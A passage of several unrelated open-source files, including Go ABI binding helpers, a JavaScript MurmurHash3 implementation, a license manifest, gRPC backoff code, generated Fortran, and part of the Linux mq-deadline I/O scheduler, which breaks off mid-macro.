len(stringKind), stringKind } if parts[1] == "" { return len("address"), "Address" } return len(parts[0]), "Addresses" case strings.HasPrefix(stringKind, "bytes"): parts := regexp.MustCompile(`bytes([0-9]*)`).FindStringSubmatch(stringKind) if len(parts) != 2 { return len(stringKind), stringKind } return len(parts[0]), "byte[]" case strings.HasPrefix(stringKind, "int") || strings.HasPrefix(stringKind, "uint"): //Note that uint and int (without digits) are also matched, // these are size 256, and will translate to BigInt (the default). parts := regexp.MustCompile(`(u)?int([0-9]*)`).FindStringSubmatch(stringKind) if len(parts) != 3 { return len(stringKind), stringKind } namedSize := map[string]string{ "8": "byte", "16": "short", "32": "int", "64": "long", }[parts[2]] //default to BigInt if namedSize == "" { namedSize = "BigInt" } return len(parts[0]), namedSize case strings.HasPrefix(stringKind, "bool"): return len("bool"), "boolean" case strings.HasPrefix(stringKind, "string"): return len("string"), "String" default: return len(stringKind), stringKind } } // bindTopicType is a set of type binders that convert Solidity types to some // supported programming language topic types. var bindTopicType = map[Lang]func(kind abi.Type) string{ LangGo: bindTopicTypeGo, LangJava: bindTopicTypeJava, } // bindTypeGo converts a Solidity topic type to a Go one. It is almost the same // funcionality as for simple types, but dynamic types get converted to hashes. func bindTopicTypeGo(kind abi.Type) string { bound := bindTypeGo(kind) if bound == "string" || bound == "[]byte" { bound = "common.Hash" } return bound } // bindTypeGo converts a Solidity topic type to a Java one. It is almost the same // funcionality as for simple types, but dynamic types get converted to hashes. func bindTopicTypeJava(kind abi.Type) string { bound := bindTypeJava(kind) if bound == "String" || bound == "Bytes" { bound = "Hash" } return bound } // namedType is a set of functions that transform language specific types to // named versions that my be used inside method names. var namedType = map[Lang]func(string, abi.Type) string{ LangGo: func(string, abi.Type) string { panic("this shouldn't be needed") }, LangJava: namedTypeJava, } // namedTypeJava converts some primitive data types to named variants that can // be used as parts of method names. func namedTypeJava(javaKind string, solKind abi.Type) string { switch javaKind { case "byte[]": return "Binary" case "byte[][]": return "Binaries" case "string": return "String" case "string[]": return "Strings" case "boolean": return "Bool" case "boolean[]": return "Bools" case "BigInt[]": return "BigInts" default: parts := regexp.MustCompile(`(u)?int([0-9]*)(\[[0-9]*\])?`).FindStringSubmatch(solKind.String()) if len(parts) != 4 { return javaKind } switch parts[2] { case "8", "16", "32", "64": if parts[3] == "" { return capitalise(fmt.Sprintf("%sint%s", parts[1], parts[2])) } return capitalise(fmt.Sprintf("%sint%ss", parts[1], parts[2])) default: return javaKind } } } // methodNormalizer is a name transformer that modifies Solidity method names to // conform to target language naming concentions. var methodNormalizer = map[Lang]func(string) string{ LangGo: capitalise, LangJava: decapitalise, } // capitalise makes a camel-case string which starts with an upper case character. func capitalise(input string) string { for len(input) > 0 && input[0] == '_' { input = input[1:] } if len(input) == 0 { return "" } return toCamelCase(strings.ToUpper(input[:1]) + input[1:]) } // decapitalise makes a camel-case string which starts with a lower case character. func decapitalise(input string) string { for len(input) > 0 && input[0] == '_' { input = input[1:] } if len(input) == 0 { return "" } return toCamelCase(strings.ToLower(input[:1]) + input[1:]) } // toCamelCase converts an under-score string to a camel-case string func toCamelCase(input string) string { toupper := false result := "" for k, v := range input { switch { case k == 0: result = strings.ToUpper(string(input[0])) case toupper: result += strings.ToUpper(string(v)) toupper = false case v == '_': toupper = true default: result += string(v) } } return result } // structured checks whether a list of ABI data types has enough information to // operate through a proper Go struct or if flat returns are needed. func structured(args abi.Arguments) bool { if len(args) < 2 { return false } exists := make(map[string]bool) for _, out := range args { // If the name is anonymous, we can't organize into a struct if out.Name == "" { return false } // If the field name is empty when normalized or collides (var, Var, _var, _Var), // we can't organize into a struct field := capitalise(out.Name) if field == "" || exists[field] { return false } exists[field] = true } return true }
{ "pile_set_name": "Github" }
/** * @preserve * JS Implementation of incremental MurmurHash3 (r150) (as of May 10, 2013) * * @author <a href="mailto:jensyt@gmail.com">Jens Taylor</a> * @see http://github.com/homebrewing/brauhaus-diff * @author <a href="mailto:gary.court@gmail.com">Gary Court</a> * @see http://github.com/garycourt/murmurhash-js * @author <a href="mailto:aappleby@gmail.com">Austin Appleby</a> * @see http://sites.google.com/site/murmurhash/ */ (function(){ var cache; // Call this function without `new` to use the cached object (good for // single-threaded environments), or with `new` to create a new object. // // @param {string} key A UTF-16 or ASCII string // @param {number} seed An optional positive integer // @return {object} A MurmurHash3 object for incremental hashing function MurmurHash3(key, seed) { var m = this instanceof MurmurHash3 ? this : cache; m.reset(seed) if (typeof key === 'string' && key.length > 0) { m.hash(key); } if (m !== this) { return m; } }; // Incrementally add a string to this hash // // @param {string} key A UTF-16 or ASCII string // @return {object} this MurmurHash3.prototype.hash = function(key) { var h1, k1, i, top, len; len = key.length; this.len += len; k1 = this.k1; i = 0; switch (this.rem) { case 0: k1 ^= len > i ? (key.charCodeAt(i++) & 0xffff) : 0; case 1: k1 ^= len > i ? (key.charCodeAt(i++) & 0xffff) << 8 : 0; case 2: k1 ^= len > i ? (key.charCodeAt(i++) & 0xffff) << 16 : 0; case 3: k1 ^= len > i ? (key.charCodeAt(i) & 0xff) << 24 : 0; k1 ^= len > i ? (key.charCodeAt(i++) & 0xff00) >> 8 : 0; } this.rem = (len + this.rem) & 3; // & 3 is same as % 4 len -= this.rem; if (len > 0) { h1 = this.h1; while (1) { k1 = (k1 * 0x2d51 + (k1 & 0xffff) * 0xcc9e0000) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = (k1 * 0x3593 + (k1 & 0xffff) * 0x1b870000) & 0xffffffff; h1 ^= k1; h1 = (h1 << 13) | (h1 >>> 19); h1 = (h1 * 5 + 0xe6546b64) & 0xffffffff; if (i >= len) { break; } k1 = ((key.charCodeAt(i++) & 0xffff)) ^ ((key.charCodeAt(i++) & 0xffff) << 8) ^ ((key.charCodeAt(i++) & 0xffff) << 16); top = key.charCodeAt(i++); k1 ^= ((top & 0xff) << 24) ^ ((top & 0xff00) >> 8); } k1 = 0; switch (this.rem) { case 3: k1 ^= (key.charCodeAt(i + 2) & 0xffff) << 16; case 2: k1 ^= (key.charCodeAt(i + 1) & 0xffff) << 8; case 1: k1 ^= (key.charCodeAt(i) & 0xffff); } this.h1 = h1; } this.k1 = k1; return this; }; // Get the result of this hash // // @return {number} The 32-bit hash MurmurHash3.prototype.result = function() { var k1, h1; k1 = this.k1; h1 = this.h1; if (k1 > 0) { k1 = (k1 * 0x2d51 + (k1 & 0xffff) * 0xcc9e0000) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = (k1 * 0x3593 + (k1 & 0xffff) * 0x1b870000) & 0xffffffff; h1 ^= k1; } h1 ^= this.len; h1 ^= h1 >>> 16; h1 = (h1 * 0xca6b + (h1 & 0xffff) * 0x85eb0000) & 0xffffffff; h1 ^= h1 >>> 13; h1 = (h1 * 0xae35 + (h1 & 0xffff) * 0xc2b20000) & 0xffffffff; h1 ^= h1 >>> 16; return h1 >>> 0; }; // Reset the hash object for reuse // // @param {number} seed An optional positive integer MurmurHash3.prototype.reset = function(seed) { this.h1 = typeof seed === 'number' ? seed : 0; this.rem = this.k1 = this.len = 0; return this; }; // A cached object to use. This can be safely used if you're in a single- // threaded environment, otherwise you need to create new hashes to use. cache = new MurmurHash3(); if (typeof(module) != 'undefined') { module.exports = MurmurHash3; } else { this.MurmurHash3 = MurmurHash3; } }());
{ "pile_set_name": "Github" }
--- layout: font family: Source Serif Pro class: serif use: body styles: "400": "Source Serif Pro" "600": "Source Serif Pro Semibold" "700": "Source Serif Pro Bold" ---
{ "pile_set_name": "Github" }
// ATTENTION - THIS DIRECTORY CONTAINS THIRD PARTY OPEN SOURCE MATERIALS: [{ "name": "octicons-code", "repositoryURL": "https://octicons.github.com", "version": "3.1.0", "license": "MIT", "licenseDetail": [ "The MIT License (MIT)", "", "(c) 2012-2015 GitHub", "", "Permission is hereby granted, free of charge, to any person obtaining a copy", "of this software and associated documentation files (the \"Software\"), to deal", "in the Software without restriction, including without limitation the rights", "to use, copy, modify, merge, publish, distribute, sublicense, and/or sell", "copies of the Software, and to permit persons to whom the Software is", "furnished to do so, subject to the following conditions:", "", "The above copyright notice and this permission notice shall be included in", "all copies or substantial portions of the Software.", "", "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR", "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER", "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,", "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN", "THE SOFTWARE." ] },{ "name": "octicons-font", "repositoryURL": "https://octicons.github.com", "version": "3.1.0", "license": "SIL OFL 1.1", "licenseDetail": [ "(c) 2012-2015 GitHub", "", "SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007", "", "PREAMBLE", "The goals of the Open Font License (OFL) are to stimulate worldwide", "development of collaborative font projects, to support the font creation", "efforts of academic and linguistic communities, and to provide a free and", "open framework in which fonts may be shared and improved in partnership", "with others.", "", "The OFL allows the licensed fonts to be used, studied, modified and", "redistributed freely as long as they are not sold by themselves. The", "fonts, including any derivative works, can be bundled, embedded,", "redistributed and/or sold with any software provided that any reserved", "names are not used by derivative works. The fonts and derivatives,", "however, cannot be released under any other type of license. The", "requirement for fonts to remain under this license does not apply", "to any document created using the fonts or their derivatives.", "", "DEFINITIONS", "\"Font Software\" refers to the set of files released by the Copyright", "Holder(s) under this license and clearly marked as such. This may", "include source files, build scripts and documentation.", "", "\"Reserved Font Name\" refers to any names specified as such after the", "copyright statement(s).", "", "\"Original Version\" refers to the collection of Font Software components as", "distributed by the Copyright Holder(s).", "", "\"Modified Version\" refers to any derivative made by adding to, deleting,", "or substituting -- in part or in whole -- any of the components of the", "Original Version, by changing formats or by porting the Font Software to a", "new environment.", "", "\"Author\" refers to any designer, engineer, programmer, technical", "writer or other person who contributed to the Font Software.", "", "PERMISSION & CONDITIONS", "Permission is hereby granted, free of charge, to any person obtaining", "a copy of the Font Software, to use, study, copy, merge, embed, modify,", "redistribute, and sell modified and unmodified copies of the Font", "Software, subject to the following conditions:", "", "1) Neither the Font Software nor any of its individual components,", "in Original or Modified Versions, may be sold by itself.", "", "2) Original or Modified Versions of the Font Software may be bundled,", "redistributed and/or sold with any software, provided that each copy", "contains the above copyright notice and this license. These can be", "included either as stand-alone text files, human-readable headers or", "in the appropriate machine-readable metadata fields within text or", "binary files as long as those fields can be easily viewed by the user.", "", "3) No Modified Version of the Font Software may use the Reserved Font", "Name(s) unless explicit written permission is granted by the corresponding", "Copyright Holder. This restriction only applies to the primary font name as", "presented to the users.", "", "4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font", "Software shall not be used to promote, endorse or advertise any", "Modified Version, except to acknowledge the contribution(s) of the", "Copyright Holder(s) and the Author(s) or with their explicit written", "permission.", "", "5) The Font Software, modified or unmodified, in part or in whole,", "must be distributed entirely under this license, and must not be", "distributed under any other license. The requirement for fonts to", "remain under this license does not apply to any document created", "using the Font Software.", "", "TERMINATION", "This license becomes null and void if any of the above conditions are", "not met.", "", "DISCLAIMER", "THE FONT SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,", "EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF", "MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT", "OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE", "COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,", "INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL", "DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING", "FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM", "OTHER DEALINGS IN THE FONT SOFTWARE." ] }]
{ "pile_set_name": "Github" }
package grpc import ( "math/rand" "time" ) // DefaultBackoffConfig uses values specified for backoff in // https://github.com/grpc/grpc/blob/master/doc/connection-backoff.md. var ( DefaultBackoffConfig = BackoffConfig{ MaxDelay: 120 * time.Second, baseDelay: 1.0 * time.Second, factor: 1.6, jitter: 0.2, } ) // backoffStrategy defines the methodology for backing off after a grpc // connection failure. // // This is unexported until the gRPC project decides whether or not to allow // alternative backoff strategies. Once a decision is made, this type and its // method may be exported. type backoffStrategy interface { // backoff returns the amount of time to wait before the next retry given // the number of consecutive failures. backoff(retries int) time.Duration } // BackoffConfig defines the parameters for the default gRPC backoff strategy. type BackoffConfig struct { // MaxDelay is the upper bound of backoff delay. MaxDelay time.Duration // TODO(stevvooe): The following fields are not exported, as allowing // changes would violate the current gRPC specification for backoff. If // gRPC decides to allow more interesting backoff strategies, these fields // may be opened up in the future. // baseDelay is the amount of time to wait before retrying after the first // failure. baseDelay time.Duration // factor is applied to the backoff after each retry. factor float64 // jitter provides a range to randomize backoff delays. jitter float64 } func setDefaults(bc *BackoffConfig) { md := bc.MaxDelay *bc = DefaultBackoffConfig if md > 0 { bc.MaxDelay = md } } func (bc BackoffConfig) backoff(retries int) (t time.Duration) { if retries == 0 { return bc.baseDelay } backoff, max := float64(bc.baseDelay), float64(bc.MaxDelay) for backoff < max && retries > 0 { backoff *= bc.factor retries-- } if backoff > max { backoff = max } // Randomize backoff delays so that if a cluster of requests start at // the same time, they won't operate in lockstep. backoff *= 1 + bc.jitter*(rand.Float64()*2-1) if backoff < 0 { return 0 } return time.Duration(backoff) }
{ "pile_set_name": "Github" }
SUBROUTINE OFFSET_beta_3_7_5_1_1(l_a_offset,k_a_offset,size) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i3 ( h2 h12 )_ytra IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER l_a_offset INTEGER k_a_offset INTEGER size INTEGER length INTEGER addr INTEGER h2b INTEGER h12b length = 0 DO h2b = 1,noab DO h12b = 1,noab IF (int_mb(k_spin+h2b-1) .eq. int_mb(k_spin+h12b-1)) THEN IF (ieor(int_mb(k_sym+h2b-1),int_mb(k_sym+h12b-1)) .eq. ieor(irrep &_y,irrep_tra)) THEN IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h12b- &1).ne.4)) THEN length = length + 1 END IF END IF END IF END DO END DO IF (.not.MA_PUSH_GET(mt_int,2*length+1,'noname',l_a_offset,k_a_off &set)) CALL ERRQUIT('beta_3_7_5_1_1',0,MA_ERR) int_mb(k_a_offset) = length addr = 0 size = 0 DO h2b = 1,noab DO h12b = 1,noab IF (int_mb(k_spin+h2b-1) .eq. int_mb(k_spin+h12b-1)) THEN IF (ieor(int_mb(k_sym+h2b-1),int_mb(k_sym+h12b-1)) .eq. ieor(irrep &_y,irrep_tra)) THEN IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h12b- &1).ne.4)) THEN addr = addr + 1 int_mb(k_a_offset+addr) = h12b - 1 + noab * (h2b - 1) int_mb(k_a_offset+length+addr) = size size = size + int_mb(k_range+h2b-1) * int_mb(k_range+h12b-1) END IF END IF END IF END DO END DO RETURN END
{ "pile_set_name": "Github" }
/* * MQ Deadline i/o scheduler - adaptation of the legacy deadline scheduler, * for the blk-mq scheduling framework * * Copyright (C) 2016 Jens Axboe <axboe@kernel.dk> */ #include <linux/kernel.h> #include <linux/fs.h> #include <linux/blkdev.h> #include <linux/blk-mq.h> #include <linux/elevator.h> #include <linux/bio.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/init.h> #include <linux/compiler.h> #include <linux/rbtree.h> #include <linux/sbitmap.h> #include "blk.h" #include "blk-mq.h" #include "blk-mq-debugfs.h" #include "blk-mq-tag.h" #include "blk-mq-sched.h" /* * See Documentation/block/deadline-iosched.txt */ static const int read_expire = HZ / 2; /* max time before a read is submitted. */ static const int write_expire = 5 * HZ; /* ditto for writes, these limits are SOFT! */ static const int writes_starved = 2; /* max times reads can starve a write */ static const int fifo_batch = 16; /* # of sequential requests treated as one by the above parameters. For throughput. */ struct deadline_data { /* * run time data */ /* * requests (deadline_rq s) are present on both sort_list and fifo_list */ struct rb_root sort_list[2]; struct list_head fifo_list[2]; /* * next in sort order. read, write or both are NULL */ struct request *next_rq[2]; unsigned int batching; /* number of sequential requests made */ unsigned int starved; /* times reads have starved writes */ /* * settings that change how the i/o scheduler behaves */ int fifo_expire[2]; int fifo_batch; int writes_starved; int front_merges; spinlock_t lock; spinlock_t zone_lock; struct list_head dispatch; }; static inline struct rb_root * deadline_rb_root(struct deadline_data *dd, struct request *rq) { return &dd->sort_list[rq_data_dir(rq)]; } /* * get the request after `rq' in sector-sorted order */ static inline struct request * deadline_latter_request(struct request *rq) { struct rb_node *node = rb_next(&rq->rb_node); if (node) return rb_entry_rq(node); return NULL; } static void deadline_add_rq_rb(struct deadline_data *dd, struct request *rq) { struct rb_root *root = deadline_rb_root(dd, rq); elv_rb_add(root, rq); } static inline void deadline_del_rq_rb(struct deadline_data *dd, struct request *rq) { const int data_dir = rq_data_dir(rq); if (dd->next_rq[data_dir] == rq) dd->next_rq[data_dir] = deadline_latter_request(rq); elv_rb_del(deadline_rb_root(dd, rq), rq); } /* * remove rq from rbtree and fifo. */ static void deadline_remove_request(struct request_queue *q, struct request *rq) { struct deadline_data *dd = q->elevator->elevator_data; list_del_init(&rq->queuelist); /* * We might not be on the rbtree, if we are doing an insert merge */ if (!RB_EMPTY_NODE(&rq->rb_node)) deadline_del_rq_rb(dd, rq); elv_rqhash_del(q, rq); if (q->last_merge == rq) q->last_merge = NULL; } static void dd_request_merged(struct request_queue *q, struct request *req, enum elv_merge type) { struct deadline_data *dd = q->elevator->elevator_data; /* * if the merge was a front merge, we need to reposition request */ if (type == ELEVATOR_FRONT_MERGE) { elv_rb_del(deadline_rb_root(dd, req), req); deadline_add_rq_rb(dd, req); } } static void dd_merged_requests(struct request_queue *q, struct request *req, struct request *next) { /* * if next expires before rq, assign its expire time to rq * and move into next position (next will be deleted) in fifo */ if (!list_empty(&req->queuelist) && !list_empty(&next->queuelist)) { if (time_before((unsigned long)next->fifo_time, (unsigned long)req->fifo_time)) { list_move(&req->queuelist, &next->queuelist); req->fifo_time = next->fifo_time; } } /* * kill knowledge of next, this one is a goner */ deadline_remove_request(q, next); } /* * move an entry to dispatch queue */ static void deadline_move_request(struct deadline_data *dd, struct request *rq) { const int data_dir = rq_data_dir(rq); dd->next_rq[READ] = NULL; dd->next_rq[WRITE] = NULL; dd->next_rq[data_dir] = deadline_latter_request(rq); /* * take it off the sort and fifo list */ deadline_remove_request(rq->q, rq); } /* * deadline_check_fifo returns 0 if there are no expired requests on the fifo, * 1 otherwise. Requires !list_empty(&dd->fifo_list[data_dir]) */ static inline int deadline_check_fifo(struct deadline_data *dd, int ddir) { struct request *rq = rq_entry_fifo(dd->fifo_list[ddir].next); /* * rq is expired! */ if (time_after_eq(jiffies, (unsigned long)rq->fifo_time)) return 1; return 0; } /* * For the specified data direction, return the next request to * dispatch using arrival ordered lists. */ static struct request * deadline_fifo_request(struct deadline_data *dd, int data_dir) { struct request *rq; unsigned long flags; if (WARN_ON_ONCE(data_dir != READ && data_dir != WRITE)) return NULL; if (list_empty(&dd->fifo_list[data_dir])) return NULL; rq = rq_entry_fifo(dd->fifo_list[data_dir].next); if (data_dir == READ || !blk_queue_is_zoned(rq->q)) return rq; /* * Look for a write request that can be dispatched, that is one with * an unlocked target zone. */ spin_lock_irqsave(&dd->zone_lock, flags); list_for_each_entry(rq, &dd->fifo_list[WRITE], queuelist) { if (blk_req_can_dispatch_to_zone(rq)) goto out; } rq = NULL; out: spin_unlock_irqrestore(&dd->zone_lock, flags); return rq; } /* * For the specified data direction, return the next request to * dispatch using sector position sorted lists. */ static struct request * deadline_next_request(struct deadline_data *dd, int data_dir) { struct request *rq; unsigned long flags; if (WARN_ON_ONCE(data_dir != READ && data_dir != WRITE)) return NULL; rq = dd->next_rq[data_dir]; if (!rq) return NULL; if (data_dir == READ || !blk_queue_is_zoned(rq->q)) return rq; /* * Look for a write request that can be dispatched, that is one with * an unlocked target zone. */ spin_lock_irqsave(&dd->zone_lock, flags); while (rq) { if (blk_req_can_dispatch_to_zone(rq)) break; rq = deadline_latter_request(rq); } spin_unlock_irqrestore(&dd->zone_lock, flags); return rq; } /* * deadline_dispatch_requests selects the best request according to * read/write expire, fifo_batch, etc */ static struct request *__dd_dispatch_request(struct deadline_data *dd) { struct request *rq, *next_rq; bool reads, writes; int data_dir; if (!list_empty(&dd->dispatch)) { rq = list_first_entry(&dd->dispatch, struct request, queuelist); list_del_init(&rq->queuelist); goto done; } reads = !list_empty(&dd->fifo_list[READ]); writes = !list_empty(&dd->fifo_list[WRITE]); /* * batches are currently reads XOR writes */ rq = deadline_next_request(dd, WRITE); if (!rq) rq = deadline_next_request(dd, READ); if (rq && dd->batching < dd->fifo_batch) /* we have a next request are still entitled to batch */ goto dispatch_request; /* * at this point we are not running a batch. select the appropriate * data direction (read / write) */ if (reads) { BUG_ON(RB_EMPTY_ROOT(&dd->sort_list[READ])); if (deadline_fifo_request(dd, WRITE) && (dd->starved++ >= dd->writes_starved)) goto dispatch_writes; data_dir = READ; goto dispatch_find_request; } /* * there are either no reads or writes have been starved */ if (writes) { dispatch_writes: BUG_ON(RB_EMPTY_ROOT(&dd->sort_list[WRITE])); dd->starved = 0; data_dir = WRITE; goto dispatch_find_request; } return NULL; dispatch_find_request: /* * we are not running a batch, find best request for selected data_dir */ next_rq = deadline_next_request(dd, data_dir); if (deadline_check_fifo(dd, data_dir) || !next_rq) { /* * A deadline has expired, the last request was in the other * direction, or we have run out of higher-sectored requests. * Start again from the request with the earliest expiry time. */ rq = deadline_fifo_request(dd, data_dir); } else { /* * The last req was the same dir and we have a next request in * sort order. No expired requests so continue on from here. */ rq = next_rq; } /* * For a zoned block device, if we only have writes queued and none of * them can be dispatched, rq will be NULL. */ if (!rq) return NULL; dd->batching = 0; dispatch_request: /* * rq is the selected appropriate request. */ dd->batching++; deadline_move_request(dd, rq); done: /* * If the request needs its target zone locked, do it. */ blk_req_zone_write_lock(rq); rq->rq_flags |= RQF_STARTED; return rq; } /* * One confusing aspect here is that we get called for a specific * hardware queue, but we return a request that may not be for a * different hardware queue. This is because mq-deadline has shared * state for all hardware queues, in terms of sorting, FIFOs, etc. */ static struct request *dd_dispatch_request(struct blk_mq_hw_ctx *hctx) { struct deadline_data *dd = hctx->queue->elevator->elevator_data; struct request *rq; spin_lock(&dd->lock); rq = __dd_dispatch_request(dd); spin_unlock(&dd->lock); return rq; } static void dd_exit_queue(struct elevator_queue *e) { struct deadline_data *dd = e->elevator_data; BUG_ON(!list_empty(&dd->fifo_list[READ])); BUG_ON(!list_empty(&dd->fifo_list[WRITE])); kfree(dd); } /* * initialize elevator private data (deadline_data). */ static int dd_init_queue(struct request_queue *q, struct elevator_type *e) { struct deadline_data *dd; struct elevator_queue *eq; eq = elevator_alloc(q, e); if (!eq) return -ENOMEM; dd = kzalloc_node(sizeof(*dd), GFP_KERNEL, q->node); if (!dd) { kobject_put(&eq->kobj); return -ENOMEM; } eq->elevator_data = dd; INIT_LIST_HEAD(&dd->fifo_list[READ]); INIT_LIST_HEAD(&dd->fifo_list[WRITE]); dd->sort_list[READ] = RB_ROOT; dd->sort_list[WRITE] = RB_ROOT; dd->fifo_expire[READ] = read_expire; dd->fifo_expire[WRITE] = write_expire; dd->writes_starved = writes_starved; dd->front_merges = 1; dd->fifo_batch = fifo_batch; spin_lock_init(&dd->lock); spin_lock_init(&dd->zone_lock); INIT_LIST_HEAD(&dd->dispatch); q->elevator = eq; return 0; } static int dd_request_merge(struct request_queue *q, struct request **rq, struct bio *bio) { struct deadline_data *dd = q->elevator->elevator_data; sector_t sector = bio_end_sector(bio); struct request *__rq; if (!dd->front_merges) return ELEVATOR_NO_MERGE; __rq = elv_rb_find(&dd->sort_list[bio_data_dir(bio)], sector); if (__rq) { BUG_ON(sector != blk_rq_pos(__rq)); if (elv_bio_merge_ok(__rq, bio)) { *rq = __rq; return ELEVATOR_FRONT_MERGE; } } return ELEVATOR_NO_MERGE; } static bool dd_bio_merge(struct blk_mq_hw_ctx *hctx, struct bio *bio) { struct request_queue *q = hctx->queue; struct deadline_data *dd = q->elevator->elevator_data; struct request *free = NULL; bool ret; spin_lock(&dd->lock); ret = blk_mq_sched_try_merge(q, bio, &free); spin_unlock(&dd->lock); if (free) blk_mq_free_request(free); return ret; } /* * add rq to rbtree and fifo */ static void dd_insert_request(struct blk_mq_hw_ctx *hctx, struct request *rq, bool at_head) { struct request_queue *q = hctx->queue; struct deadline_data *dd = q->elevator->elevator_data; const int data_dir = rq_data_dir(rq); /* * This may be a requeue of a write request that has locked its * target zone. If it is the case, this releases the zone lock. */ blk_req_zone_write_unlock(rq); if (blk_mq_sched_try_insert_merge(q, rq)) return; blk_mq_sched_request_inserted(rq); if (at_head || blk_rq_is_passthrough(rq)) { if (at_head) list_add(&rq->queuelist, &dd->dispatch); else list_add_tail(&rq->queuelist, &dd->dispatch); } else { deadline_add_rq_rb(dd, rq); if (rq_mergeable(rq)) { elv_rqhash_add(q, rq); if (!q->last_merge) q->last_merge = rq; } /* * set expire time and add to fifo list */ rq->fifo_time = jiffies + dd->fifo_expire[data_dir]; list_add_tail(&rq->queuelist, &dd->fifo_list[data_dir]); } } static void dd_insert_requests(struct blk_mq_hw_ctx *hctx, struct list_head *list, bool at_head) { struct request_queue *q = hctx->queue; struct deadline_data *dd = q->elevator->elevator_data; spin_lock(&dd->lock); while (!list_empty(list)) { struct request *rq; rq = list_first_entry(list, struct request, queuelist); list_del_init(&rq->queuelist); dd_insert_request(hctx, rq, at_head); } spin_unlock(&dd->lock); } /* * Nothing to do here. This is defined only to ensure that .finish_request * method is called upon request completion. */ static void dd_prepare_request(struct request *rq, struct bio *bio) { } /* * For zoned block devices, write unlock the target zone of * completed write requests. Do this while holding the zone lock * spinlock so that the zone is never unlocked while deadline_fifo_request() * or deadline_next_request() are executing. This function is called for * all requests, whether or not these requests complete successfully. */ static void dd_finish_request(struct request *rq) { struct request_queue *q = rq->q; if (blk_queue_is_zoned(q)) { struct deadline_data *dd = q->elevator->elevator_data; unsigned long flags; spin_lock_irqsave(&dd->zone_lock, flags); blk_req_zone_write_unlock(rq); spin_unlock_irqrestore(&dd->zone_lock, flags); } } static bool dd_has_work(struct blk_mq_hw_ctx *hctx) { struct deadline_data *dd = hctx->queue->elevator->elevator_data; return !list_empty_careful(&dd->dispatch) || !list_empty_careful(&dd->fifo_list[0]) || !list_empty_careful(&dd->fifo_list[1]); } /* * sysfs parts below */ static ssize_t deadline_var_show(int var, char *page) { return sprintf(page, "%d\n", var); } static void deadline_var_store(int *var, const char *page) { char *p = (char *) page; *var = simple_strtol(p, &p, 10); } #define SHOW_FUNCTION(__FUNC, __VAR, __CONV) \ static ssize_t __FUNC(struct elevator_queue *e, char *page) \ { \ struct deadline_data *dd = e->elevator_data; \ int __data = __VAR; \ if (__CONV) \ __data = jiffies_to_msecs(__data); \ return deadline_var_show(__data, (page)); \ } SHOW_FUNCTION(deadline_read_expire_show, dd->fifo_expire[READ], 1); SHOW_FUNCTION(deadline_write_expire_show, dd->fifo_expire[WRITE], 1); SHOW_FUNCTION(deadline_writes_starved_show, dd->writes_starved, 0); SHOW_FUNCTION(deadline_front_merges_show, dd->front_merges, 0); SHOW_FUNCTION(deadline_fifo_batch_show, dd->fifo_batch, 0); #undef SHOW_FUNCTION #define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV) \ static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) \ { \ struct deadline_data *dd = e->elevator_data; \ int __data; \ deadline_var_store(&__data, (page)); \ if (__data < (MIN)) \ __data = (MIN); \ else if (__data > (MAX)) \ __data = (MAX); \ if (__CONV) \ *(__PTR) = msecs_to_jiffies(__data); \ else \ *(__PTR) = __data; \ return count; \ } STORE_FUNCTION(deadline_read_expire_store, &dd->fifo_expire[READ], 0, INT_MAX, 1); STORE_FUNCTION(deadline_write_expire_store, &dd->fifo_expire[WRITE], 0, INT_MAX, 1); STORE_FUNCTION(deadline_writes_starved_store, &dd->writes_starved, INT_MIN, INT_MAX, 0); STORE_FUNCTION(deadline_front_merges_store, &dd->front_merges, 0, 1, 0); STORE_FUNCTION(deadline_fifo_batch_store, &dd->fifo_batch, 0, INT_MAX, 0); #undef STORE_FUNCTION #define DD_ATTR(name) \ __ATTR(name, 0644, deadline_##name##_show, deadline_##name##_store) static struct elv_fs_entry deadline_attrs[] = { DD_ATTR(read_expire), DD_ATTR(write_expire), DD_ATTR(writes_starved), DD_ATTR(front_merges), DD_ATTR(fifo_batch), __ATTR_NULL }; #ifdef CONFIG_BLK_DEBUG_FS #define DEADLINE_DEBUGFS_DDIR_ATTRS(ddir, name) \ static void *deadline_##name##_fifo_start(struct seq_file *m, \ loff_t *pos) \ __acquires(&dd->lock) \ { \ struct request_queue *q = m->private; \ struct deadline_data *dd = q->elevator->elevator_data; \ \ spin_lock(&dd->lock); \ return seq_list_start(&dd->fifo_list[ddir], *pos); \ } \ \ static void *deadline_##name##_fifo_next(struct seq_file *m, void *v, \ loff_t *pos) \ { \ struct request_queue *q = m->private; \ struct deadline_data *dd = q->elevator->elevator_data; \ \ return seq_list_next(v, 